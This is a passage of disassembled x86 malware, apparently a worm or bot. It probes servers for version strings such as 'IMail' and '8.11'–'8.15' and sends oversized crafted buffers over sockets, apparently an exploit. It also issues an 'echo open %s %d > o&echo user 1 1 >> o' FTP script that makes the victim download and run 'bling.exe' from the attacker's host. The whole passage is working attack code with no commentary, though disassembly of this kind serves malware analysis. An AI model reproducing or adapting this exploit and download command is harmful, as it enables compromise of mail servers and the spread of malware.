; ---------------------------------------------------------------------------


loc_40B581:				; CODE XREF: seg000:0040B563j
		push	offset a8_11	; "8.11"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B5AB
		push	ebx
		push	offset loc_445680
		push	offset word_4E2316
		call	sub_41E840
		push	4
		push	offset dword_4456F4
		jmp	short loc_40B627
; ---------------------------------------------------------------------------


loc_40B5AB:				; CODE XREF: seg000:0040B590j
		push	offset a8_12	; "8.12"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B5D5
		push	ebx
		push	offset loc_445680
		push	offset word_4E2316
		call	sub_41E840
		push	4
		push	offset dword_4456FC
		jmp	short loc_40B627
; ---------------------------------------------------------------------------


loc_40B5D5:				; CODE XREF: seg000:0040B5BAj
		push	offset a8_13	; "8.13"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B5FF
		push	ebx
		push	offset loc_445680
		push	offset word_4E2316
		call	sub_41E840
		push	4
		push	offset dword_445704
		jmp	short loc_40B627
; ---------------------------------------------------------------------------


loc_40B5FF:				; CODE XREF: seg000:0040B5E4j
		push	offset a8_14	; "8.14"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B639
		push	ebx
		push	offset loc_445680
		push	offset word_4E2316
		call	sub_41E840
		push	4
		push	offset dword_44570C


loc_40B627:				; CODE XREF: seg000:0040B57Cj
					; seg000:0040B5A9j ...
		push	offset dword_4E2318


loc_40B62C:				; CODE XREF: seg000:0040B306j
		call	sub_41E840
		add	esp, 18h
		jmp	loc_40B6D4
; ---------------------------------------------------------------------------


loc_40B639:				; CODE XREF: seg000:0040B60Ej
		push	offset a8_15	; "8.15"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B663
		push	ebx
		push	offset loc_445680
		push	offset word_4E2316
		call	sub_41E840
		push	4
		push	offset dword_445714
		jmp	short loc_40B627
; ---------------------------------------------------------------------------


loc_40B663:				; CODE XREF: seg000:0040B648j
		push	offset aHotfix2	; "hotfix2"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B67F


loc_40B674:				; CODE XREF: seg000:0040B68Ej
					; seg000:0040B69Fj ...
		push	ds:dword_4E2060
		jmp	loc_40B7EC
; ---------------------------------------------------------------------------


loc_40B67F:				; CODE XREF: seg000:0040B672j
		push	offset a4_0	; "4.0"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B674
		push	offset a5_0	; "5.0"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B674
		push	offset a6_0	; "6.0"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B674
		push	offset a7_0	; "7.0"
		push	esi
		call	sub_41DBE0
		pop	ecx
		pop	ecx
		test	eax, eax
		jmp	short loc_40B674
; ---------------------------------------------------------------------------


loc_40B6C3:				; CODE XREF: seg000:0040B2D3j
		push	offset aImail_0	; "IMail"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B674


loc_40B6D4:				; CODE XREF: seg000:0040B634j
		mov	esi, ds:dword_4F12F4
		push	64h
		call	esi ; dword_4F12F4
		push	0
		push	edi
		call	sub_41AC70
		pop	ecx
		push	eax
		push	edi
		push	ds:dword_4E2060
		call	ds:dword_451540
		push	64h
		call	esi ; dword_4F12F4
		push	dword ptr [ebp-20h]
		xor	edi, edi
		mov	[ebp-0Ch], edi
		call	ds:dword_4514F4
		push	6
		push	1
		pop	esi
		mov	[ebp-0Eh], ax
		push	esi
		push	ebx
		call	ds:dword_451570
		lea	ecx, [ebp-10h]
		push	10h
		push	ecx
		push	eax
		mov	ds:dword_4E2464, eax
		call	ds:dword_451520
		cmp	eax, edi
		mov	ds:dword_4E1F5C, eax
		jnz	loc_40B7F2
		push	esi
		push	ds:dword_4E2464
		call	ds:dword_45151C
		cmp	eax, edi
		mov	ds:dword_4E1F5C, eax
		jnz	loc_40B7F2
		mov	eax, ds:dword_4E2464
		mov	dword ptr [ebp-28h], 8
		mov	[ebp-128h], eax
		lea	eax, [ebp-28h]
		push	eax
		push	edi
		lea	eax, [ebp-12Ch]
		push	edi
		push	eax
		push	esi
		mov	[ebp-24h], edi
		mov	[ebp-12Ch], esi
		call	ds:dword_4F14F4	; select
		test	eax, eax
		jle	short loc_40B7F2
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	ds:dword_4E2464
		call	ds:dword_451584
		mov	ecx, [ebp+0B0h]
		push	eax
		shl	ecx, 6
		inc	ds:dword_4439F8[ecx]
		sub	esp, 0BCh
		lea	ecx, dword_4439F8[ecx]
		lea	esi, [ebp+8]
		push	2Fh
		mov	ds:dword_4E2468, eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40B7F9
		add	esp, 0C0h
		push	ds:dword_4E2060
		call	ds:dword_451588
		push	ds:dword_4E2464
		call	ds:dword_451588
		push	ds:dword_4E2468


loc_40B7EC:				; CODE XREF: seg000:0040B67Aj
		call	ds:dword_451588


loc_40B7F2:				; CODE XREF: seg000:0040B177j
					; seg000:0040B192j ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7F9	proc near		; CODE XREF: seg000:0040B7C3p

var_800		= byte ptr -800h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 800h
		push	esi
		push	edi
		mov	edi, [ebp+arg_BC]
		mov	esi, 400h
		push	0
		lea	eax, [ebp+var_800]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40B8CC
		movzx	eax, word ptr ds:dword_4DF1B8
		push	eax
		push	[ebp+arg_0]
		call	sub_402617
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_400]
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 14h
		lea	eax, [ebp+var_400]
		push	0
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B8CC
		push	1F4h
		call	ds:dword_4F12F4	; Sleep
		push	offset aBling_exe ; "bling.exe\r\n"
		lea	eax, [ebp+var_400]
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 0Ch
		lea	eax, [ebp+var_400]
		push	0
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B8CC
		push	0
		push	esi
		push	offset dword_4E1F60
		push	edi
		call	ds:dword_45150C
		push	edi
		call	ds:dword_451588


loc_40B8CC:				; CODE XREF: sub_40B7F9+2Aj
					; sub_40B7F9+78j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40B7F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8D0	proc near		; CODE XREF: seg000:0040BE27p
					; seg000:0040BE49p ...

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_41DEB0
		mov	eax, ds:dword_446270
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, ds:dword_446274
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset dword_446278
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40B90F:				; CODE XREF: sub_40B8D0+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40B90F
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_445D88
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41AC70
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_41E840
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_5+3)
		push	eax
		call	sub_41AC70
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41AC70
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41AC70
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_41E840
		mov	ax, word ptr ds:dword_446178
		add	esp, 2Ch
		push	eax
		call	ds:dword_4514F4
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_445A88
		call	sub_41E840
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40BACC
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_41D100
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4461B8[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_41E840
		mov	esi, offset loc_4459D8
		push	esi
		call	sub_41AC70
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_41E840
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset dword_446284
		push	eax
		call	sub_41E840
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_41E840
		add	esp, 40h
		push	esi
		call	sub_41AC70
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_41E840
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_40BA85:				; CODE XREF: sub_40B8D0+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40BA85
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_41D100
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_41D100
		add	esp, 18h
		jmp	short loc_40BB23
; ---------------------------------------------------------------------------


loc_40BACC:				; CODE XREF: sub_40B8D0+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_41D100
		mov	esi, offset loc_4459D8
		push	esi
		call	sub_41AC70
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41AC70
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_41E840
		mov	eax, ds:dword_4461B8
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40BB23:				; CODE XREF: sub_40B8D0+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_41D100
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BB62


loc_40BB5B:				; CODE XREF: sub_40B8D0+2B9j
					; sub_40B8D0+2E0j ...
		xor	al, al
		jmp	loc_40BD10
; ---------------------------------------------------------------------------


loc_40BB62:				; CODE XREF: sub_40B8D0+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		push	ebx
		push	68h
		push	offset dword_445DEC
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40BB5B
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		push	ebx
		push	0A0h
		push	offset dword_445E58
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40BB5B
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		cmp	[ebp+arg_C0], ebx
		jz	loc_40BC78
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_446010
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_41E840
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_44607C
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_41E840
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_4460F0
		push	eax
		call	sub_41E840
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	loc_40BB5B
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40BCCE
; ---------------------------------------------------------------------------


loc_40BC78:				; CODE XREF: sub_40B8D0+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_445EFC
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_41E840
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_445F7C
		push	eax
		call	sub_41E840
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_40BCCE:				; CODE XREF: sub_40B8D0+3A6j
		push	eax
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	loc_40BB5B
		push	12Ch
		call	ds:dword_4F12F4	; Sleep
		push	ds:dword_446178
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_417E0E
		add	esp, 0C0h
		test	al, al
		setnz	al


loc_40BD10:				; CODE XREF: sub_40B8D0+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B8D0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	ds:dword_451530
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	ds:dword_4514F4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	ds:dword_451570
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40BE0E
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_45149C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40BE0E
		push	edi
		push	89h
		push	offset dword_445B70
		push	ebx
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40BE0E
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_45150C
		push	edi
		push	0A8h
		push	offset dword_445BFC
		push	ebx
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40BE0E
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_45150C
		push	edi
		push	0DEh
		push	offset dword_445CA8
		push	ebx
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40BE0E
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_45150C
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40BE36
		dec	eax
		jz	short loc_40BE15


loc_40BE0E:				; CODE XREF: seg000:0040BD69j
					; seg000:0040BD7Fj ...
		xor	eax, eax
		jmp	loc_40BEA6
; ---------------------------------------------------------------------------


loc_40BE15:				; CODE XREF: seg000:0040BE0Cj
		push	edi
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40B8D0
		add	esp, 0C4h
		push	0
		jmp	short loc_40BE5A
; ---------------------------------------------------------------------------


loc_40BE36:				; CODE XREF: seg000:0040BE09j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40B8D0
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40BE7A
		push	1


loc_40BE5A:				; CODE XREF: seg000:0040BE34j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40B8D0
		add	esp, 0C4h
		test	al, al
		jz	short loc_40BE81


loc_40BE7A:				; CODE XREF: seg000:0040BE56j
		mov	dword ptr [ebp-4], 1


loc_40BE81:				; CODE XREF: seg000:0040BE78j
		push	ebx
		call	ds:dword_451588
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40BEA3
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		lea	eax, dword_4439F8[eax]


loc_40BEA3:				; CODE XREF: seg000:0040BE8Cj
		push	1
		pop	eax


loc_40BEA6:				; CODE XREF: seg000:0040BE10j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEAB	proc near		; CODE XREF: seg000:0040C400p
					; seg000:0040C422p ...

var_89B8	= byte ptr -89B8h
var_8950	= byte ptr -8950h
var_68E0	= byte ptr -68E0h
var_6870	= byte ptr -6870h
var_5DAC	= byte ptr -5DACh
var_4808	= byte ptr -4808h
var_4807	= byte ptr -4807h
var_3774	= byte ptr -3774h
var_2CB0	= byte ptr -2CB0h
var_2CAF	= byte ptr -2CAFh
var_2CAC	= byte ptr -2CACh
var_24C8	= byte ptr -24C8h
var_24B8	= byte ptr -24B8h
var_2194	= byte ptr -2194h
var_2190	= byte ptr -2190h
var_2184	= byte ptr -2184h
var_1EFC	= byte ptr -1EFCh
var_1E80	= byte ptr -1E80h
var_16B0	= byte ptr -16B0h
var_1205	= byte ptr -1205h
var_F18		= byte ptr -0F18h
var_E78		= byte ptr -0E78h
var_76C		= dword	ptr -76Ch
var_75C		= byte ptr -75Ch
var_748		= byte ptr -748h
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_B8		= byte ptr -0B8h
var_B5		= byte ptr -0B5h
var_8B		= byte ptr -8Bh
var_89		= byte ptr -89h
var_88		= byte ptr -88h
var_40		= byte ptr -40h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B8h
		call	sub_41DEB0
		mov	eax, ds:dword_44628C
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, ds:dword_446290
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_40]
		push	offset dword_446294
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_107]


loc_40BEEA:				; CODE XREF: sub_40BEAB+4Ej
		mov	cl, [ebp+esi+var_40]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40BEEA
		push	60h
		lea	eax, [ebp+var_B8]
		push	offset dword_445D88
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41AC70
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41E840
		add	esp, 1Ch
		lea	eax, [ebp+var_40]
		push	9
		push	(offset	aC_5+3)
		push	eax
		call	sub_41AC70
		pop	ecx
		lea	eax, [ebp+eax*2+var_89]
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41AC70
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B5]
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41AC70
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_8B]
		push	eax
		call	sub_41E840
		mov	ax, word ptr ds:dword_4E2638
		add	esp, 2Ch
		push	eax
		call	ds:dword_4514F4
		push	[ebp+arg_0]
		xor	eax, 9999h
		mov	[ebp+var_18], eax
		call	sub_402617
		pop	ecx
		push	eax
		call	ds:dword_451530
		xor	eax, 99999999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	offset loc_44590E
		call	sub_41E840
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	offset byte_445907
		call	sub_41E840
		add	esp, 18h
		cmp	[ebp+arg_C0], ebx
		jz	loc_40C0CF
		mov	edi, 0DACh
		lea	eax, [ebp+var_2CAC]
		push	edi
		push	90h
		push	eax
		call	sub_41D100
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4461B8[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_24C8]
		push	eax
		call	sub_41E840
		mov	esi, offset loc_445898
		push	esi
		call	sub_41AC70
		push	eax
		lea	eax, [ebp+var_24B8]
		push	esi
		push	eax
		call	sub_41E840
		push	4
		lea	eax, [ebp+var_2194]
		push	offset loc_4462A0
		push	eax
		call	sub_41E840
		push	4
		lea	eax, [ebp+var_2190]
		push	[ebp+var_14]
		push	eax
		call	sub_41E840
		add	esp, 40h
		push	esi
		call	sub_41AC70
		push	eax
		lea	eax, [ebp+var_2184]
		push	esi
		push	eax
		call	sub_41E840
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4807]


loc_40C088:				; CODE XREF: sub_40BEAB+1EEj
		mov	cl, [ebp+esi+var_2CAC]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40C088
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B8]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CB0],	bl
		mov	[ebp+var_2CAF],	bl
		call	sub_41D100
		push	esi
		lea	eax, [ebp+var_68E0]
		push	31h
		push	eax
		call	sub_41D100
		add	esp, 18h
		jmp	short loc_40C126
; ---------------------------------------------------------------------------


loc_40C0CF:				; CODE XREF: sub_40BEAB+140j
		push	7D0h
		lea	eax, [ebp+var_F18]
		push	90h
		push	eax
		call	sub_41D100
		mov	esi, offset loc_445898
		push	esi
		call	sub_41AC70
		push	eax
		lea	eax, [ebp+var_E78]
		push	esi
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41AC70
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_75C]
		push	eax
		call	sub_41E840
		mov	eax, ds:dword_4461B8
		add	esp, 2Ch
		mov	[ebp+var_76C], eax


loc_40C126:				; CODE XREF: sub_40BEAB+222j
		push	0E29h
		lea	eax, [ebp+var_1EFC]
		push	31h
		push	eax
		call	sub_41D100
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C2E3
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_748]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		push	ebx
		push	68h
		push	offset dword_445DEC
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C2E3
		push	ebx
		lea	eax, [ebp+var_748]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		push	ebx
		push	0A0h
		push	offset dword_445E58
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C2E3
		push	ebx
		lea	eax, [ebp+var_748]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		cmp	[ebp+arg_C0], ebx
		jz	loc_40C280
		push	68h
		lea	eax, [ebp+var_89B8]
		push	offset dword_446010
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_4808]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_8950]
		push	eax
		call	sub_41E840
		push	70h
		lea	eax, [ebp+var_68E0]
		push	offset dword_44607C
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_3774]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_6870]
		push	eax
		call	sub_41E840
		push	84h
		lea	eax, [ebp+var_5DAC]
		push	offset dword_4460F0
		push	eax
		call	sub_41E840
		add	esp, 3Ch
		lea	eax, [ebp+var_89B8]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C2E3
		push	ebx
		lea	eax, [ebp+var_748]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68E0]
		jmp	short loc_40C2D6
; ---------------------------------------------------------------------------


loc_40C280:				; CODE XREF: sub_40BEAB+325j
		push	7Ch
		lea	eax, [ebp+var_1EFC]
		push	offset dword_445EFC
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_F18]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_1E80]
		push	eax
		call	sub_41E840
		push	90h
		lea	eax, [ebp+var_16B0]
		push	offset off_445F7C
		push	eax
		call	sub_41E840
		add	esp, 24h
		mov	[ebp+var_1205],	bl
		lea	eax, [ebp+var_1EFC]
		push	ebx
		push	0CF8h


loc_40C2D6:				; CODE XREF: sub_40BEAB+3D3j
		push	eax
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C2E7


loc_40C2E3:				; CODE XREF: sub_40BEAB+2B1j
					; sub_40BEAB+2DEj ...
		xor	al, al
		jmp	short loc_40C2E9
; ---------------------------------------------------------------------------


loc_40C2E7:				; CODE XREF: sub_40BEAB+436j
		mov	al, 1


loc_40C2E9:				; CODE XREF: sub_40BEAB+43Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BEAB	endp

; ---------------------------------------------------------------------------
		push	ebp
